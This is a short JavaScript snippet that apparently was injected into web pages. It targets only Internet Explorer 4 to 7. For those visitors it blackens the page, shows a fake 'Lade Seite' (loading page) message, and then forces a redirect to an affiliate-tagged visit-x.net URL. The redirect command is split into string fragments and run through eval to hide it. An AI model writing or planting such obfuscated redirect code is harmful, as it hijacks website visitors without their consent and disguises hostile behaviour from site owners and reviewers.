var str1="windo";
var str2="w.loc";
var str3="ation.";
var str4="hr";
var str5="ef=";
var str6="'http://www.visit-x.net/?w=3294&ws=1007002'";

var browserName = navigator.appName;
var browserVersion = parseInt(navigator.appVersion);
var browser;

if (browserName == "Microsoft Internet Explorer" && browserVersion == 4 && navigator.appVersion.indexOf("MSIE 7.0") != -1) {
browser = "ie7";
}

else if (browserName == "Microsoft Internet Explorer" && browserVersion == 4 && navigator.appVersion.indexOf("MSIE 6.0") != -1) {
  browser = "ie6";
}

else if (browserName == "Microsoft Internet Explorer" && browserVersion == 4 && navigator.appVersion.indexOf("MSIE 5.5") != -1) {
  browser = "ie55";
}

else if (browserName == "Microsoft Internet Explorer" && browserVersion == 4 && navigator.appVersion.indexOf("MSIE 5.0") != -1) {
  browser = "ie5";
}
else if (browserName == "Microsoft Internet Explorer" && browserVersion == 4) {
  browser = "ie4";
}

if (browser == "ie55" || browser == "ie5" || browser == "ie6" || browser == "ie7" || browser == "ie4")
{
document.bgColor = "#000000";
document.write("Lade Seite: "+ document.URL);
document.write("<br>");
document.write(document.title);
eval(str1+str2+str3+str4+str5+str6)
}